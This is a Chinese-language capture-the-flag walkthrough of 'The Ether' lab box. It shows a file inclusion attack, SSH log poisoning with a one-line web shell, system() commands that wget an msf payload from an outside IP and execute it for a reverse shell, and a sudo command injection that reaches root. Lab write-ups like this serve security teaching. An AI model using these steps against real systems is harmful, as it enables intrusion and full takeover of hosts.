The Ether 靶场
0x01 首先对靶场进行端口扫描
发现只开启了80端口和22端口
0x02 目录扫描
访问了几个目录并没有什么发现
0x03 访问主页几个网站链接
发现了一个疑似文件包含的漏洞
0x04 抓包进行分析
先尝试读取 ../../../../../../../etc/passwd 发现读取失败
使用伪协议php://filter尝试能否读取文件,失败
使用伪协议php://input尝试写入木马进行连接,失败(使用方法写在下文)
0x05 查看文件包含的其他几种用法 (包含日志文件)此题只开放80,22端口,可以读取apache和ssh日志
先读取apache日志文件:尝试几个常用的路径 都没有读取成功
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
/etc/apache2/apache2.conf
读取ssh日志文件
成功读取到日志内容
0x06 通过访问连接ssh,从而在日志中写入一句话
将用户名命名为一句话木马,密码随意,点击连接
0x07 检验一句话木马是否写入成功
出现了我们想要的东西,那可以尝试上传一个shell
0x08 使用msf生成所需shell并开启监听
生成步骤省略,将生成的shell文件放到/var/www/html 目录下,开启apache服务,待会下载到目标机中
启动msf控制台监听模块,设置好payload监听
0x09 通过传入的一句话木马执行命令(或者上传下载大马)
分别执行以下命令
system('wget+106.12.17.122/shell.elf')%3b
system('chmod+%2bx+shell.elf')%3b
system('./shell.elf')%3b
注意:
1.因为要执行的命令里面有空格、加号等符号,要将payload进行urlencode之后才可以正常执行。
2. 因为生成的木马文件没有执行权限,下载到靶机后也无法执行,所以需要先给shell.elf添加执行权限,之后再执行。
0x10 监听端
监听端收到一个session,查看session权限和版本号
0x11 执行特殊文件xxxlogauditorxxx.py
进入交互式shell
用python派生给自己 python -c 'import pty;pty.spawn("/bin/bash")'
查看日志时猜测此文件执行的是cat命令,在后面添加 | id看命令是否执行成功
0x12 可以执行命令那我们查看下此文件的所有者
发现是root用户的,并且可以用root用户权限无密码执行 sudo ./xxxlogauditorxxx.py
msf启动监听,使用root权限执行这个之前生成的shell程序
得到一个root权限的session